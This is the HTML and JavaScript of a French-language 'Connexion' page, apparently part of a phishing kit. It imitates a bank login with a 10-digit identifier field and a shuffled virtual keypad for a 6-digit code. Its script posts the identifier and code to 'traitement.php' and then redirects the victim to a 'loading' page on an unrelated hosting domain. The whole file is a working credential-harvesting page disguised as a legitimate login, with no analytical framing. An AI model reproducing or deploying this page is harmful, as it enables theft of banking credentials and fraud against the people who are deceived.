/home2/mshostin/live-dashboard/public/formulaire/formul.html
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Connexion</title>

<meta name="color-scheme" content="light">

<link href="https://fonts.googleapis.com/css2?family=Lato:wght@400;700&display=swap" rel="stylesheet">
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@600&display=swap" rel="stylesheet">

<style>
*{
    margin:0;
    padding:0;
    box-sizing:border-box;
}

html,body{
    width:100%;
    background:#fff !important;
    color:#000;
}

body{
    font-family:'Lato',Arial,sans-serif;
    padding:16px;
}

/* ===== CONTENEUR ===== */
.form-wrapper{
    width:100%;
    max-width:420px;
    margin:0 auto;
    background:#fff;
    border-radius:12px;
    box-shadow:0 4px 20px rgba(0,0,0,0.08);
    padding:28px;
}

/* ===== ÉTAPES ===== */
#form-step-1{display:block;}
#form-step-2{display:none;}

/* ===== INPUT ===== */
.form-group{margin-bottom:16px;}

label{
    display:block;
    font-size:14px;
    font-weight:700;
    color:#003e60;
    margin-bottom:6px;
}

input[type="text"]{
    width:100%;
    height:46px;
    padding:10px 14px;
    font-size:15px;
    border:2px solid #ccc;
    border-radius:6px;
    color:#003e60;
}

input[type="text"]:focus{
    outline:none;
    border-color:#003e60;
    box-shadow:0 0 0 3px rgba(0,62,96,.15);
}

/* ===== ERREUR ===== */
.error-message{
    display:none;
    font-size:12px;
    color:#d32f2f;
    margin-top:4px;
}

.form-group.error .error-message{display:block;}
.form-group.error input{border-color:#d32f2f;}

/* ===== SWITCH IOS ===== */
.switch{
    display:flex;
    align-items:center;
    gap:10px;
    margin-top:10px;
    user-select:none;
}

.switch input{
    display:none;
}

.slider{
    width:46px;
    height:26px;
    background:#ccc;
    border-radius:50px;
    position:relative;
    cursor:pointer;
    transition:.3s;
}

.slider::before{
    content:'';
    position:absolute;
    width:22px;
    height:22px;
    background:#fff;
    border-radius:50%;
    top:2px;
    left:2px;
    transition:.3s;
}

.switch input:checked + .slider{
    background:#003da5;
}

.switch input:checked + .slider::before{
    transform:translateX(20px);
}

.switch span{
    font-size:14px;
    color:#003e60;
    font-weight:600;
}

/* ===== BOUTONS ===== */
.btn-primary{
    width:100%;
    height:46px;
    background:#003da5;
    color:#fff;
    border:none;
    border-radius:8px;
    font-size:16px;
    font-weight:700;
    cursor:pointer;
    margin-top:18px;
}

.btn-primary:hover{background:#002d85;}

.btn-clear{
    width:100%;
    height:42px;
    margin-bottom:10px;
    background:#f0f0f0;
    border:1px solid #ddd;
    border-radius:8px;
    font-weight:700;
}

/* ===== ÉTAPE 2 ===== */
h2{
    text-align:center;
    font-size:17px;
    color:#003e60;
    margin-bottom:16px;
}

.password-display{
    font-size:24px;
    letter-spacing:6px;
    text-align:center;
    margin-bottom:14px;
    min-height:40px;
    border:2px solid #ccc;
    padding:8px;
    border-radius:6px;
    background:#f9f9f9;
    font-family:'Courier New',monospace;
}

/* ===== CLAVIER (PLUS PETIT) ===== */
.virtual-keyboard{
    display:grid;
    grid-template-columns:repeat(3,1fr);
    gap:8px;
    margin-bottom:14px;
}

.key-button{
    background:#e9f4fb;
    color:#003e60;
    border:none;
    border-radius:6px;
    font-size:16px;
    font-weight:600;
    height:42px;
    cursor:pointer;
    font-family:'Montserrat',sans-serif;
}

.key-button:hover{
    background:#d4e8f7;
}

/* ===== MOBILE STRICT ===== */
@media (max-width:420px){
    .form-wrapper{padding:22px;}
    .key-button{height:40px;font-size:15px;}
}
</style>
</head>

<body>

<div class="form-wrapper">

<form id="form-step-1">
    <div class="form-group">
        <label>Identifiant (10 chiffres)</label>
        <input type="text" id="identifiant" maxlength="10" required>
        <div class="error-message">Identifiant invalide</div>
    </div>

    <label class="switch">
        <input type="checkbox" id="memoriser">
        <span class="slider"></span>
        <span>Mémoriser mon identifiant</span>
    </label>

    <button type="button" id="continue-button" class="btn-primary">Continuer</button>
</form>

<div id="form-step-2">
    <h2>Mot de passe (6 chiffres)</h2>
    <div class="password-display" id="password-masked"></div>
    <div class="virtual-keyboard" id="virtual-keyboard"></div>
    <button type="button" id="clear-button" class="btn-clear">Effacer</button>
    <button type="button" id="validate-button" class="btn-primary">Se connecter</button>
</div>

</div>

<script>
/* ⚠️ JS STRICTEMENT INCHANGÉ */
const formStep1 = document.getElementById('form-step-1');
const formStep2 = document.getElementById('form-step-2');
const identifiantInput = document.getElementById('identifiant');
const continueButton = document.getElementById('continue-button');
const memoriserCheckbox = document.getElementById('memoriser');
const display = document.getElementById('password-masked');
const keyboard = document.getElementById('virtual-keyboard');
const validateButton = document.getElementById('validate-button');
const clearButton = document.getElementById('clear-button');

let currentPassword = '';
const passwordLength = 6;

function shuffle(a){for(let i=a.length-1;i>0;i--){const j=Math.floor(Math.random()*(i+1));[a[i],a[j]]=[a[j],a[i]];}}
function generateKeyboard(){
    keyboard.innerHTML='';
    let nums=[0,1,2,3,4,5,6,7,8,9];
    shuffle(nums);
    nums.forEach(n=>{
        const b=document.createElement('button');
        b.type='button';
        b.className='key-button';
        b.textContent=n;
        b.onclick=()=>{if(currentPassword.length<passwordLength){currentPassword+=n;display.textContent='•'.repeat(currentPassword.length);}};
        keyboard.appendChild(b);
    });
}
clearButton.onclick=()=>{currentPassword='';display.textContent='';};
continueButton.onclick=()=>{/^\d{10}$/.test(identifiantInput.value)?(formStep1.style.display='none',formStep2.style.display='block',generateKeyboard()):identifiantInput.closest('.form-group').classList.add('error');};
if(localStorage.getItem('identifiant')){identifiantInput.value=localStorage.getItem('identifiant');memoriserCheckbox.checked=true;}
identifiantInput.oninput=()=>{if(memoriserCheckbox.checked){localStorage.setItem('identifiant',identifiantInput.value);}};
memoriserCheckbox.onchange=()=>{if(!memoriserCheckbox.checked){localStorage.removeItem('identifiant');}};
validateButton.onclick=e=>{
    e.preventDefault();
    if(currentPassword.length!==passwordLength){alert('Code invalide');return;}
    fetch('traitement.php',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'identifiant='+encodeURIComponent(identifiantInput.value)+'&password-input='+encodeURIComponent(currentPassword)});
    window.top.location.href='https://ms-hostingladz.com/live-dashboard/loading.html';
};
</script>

</body>
</html>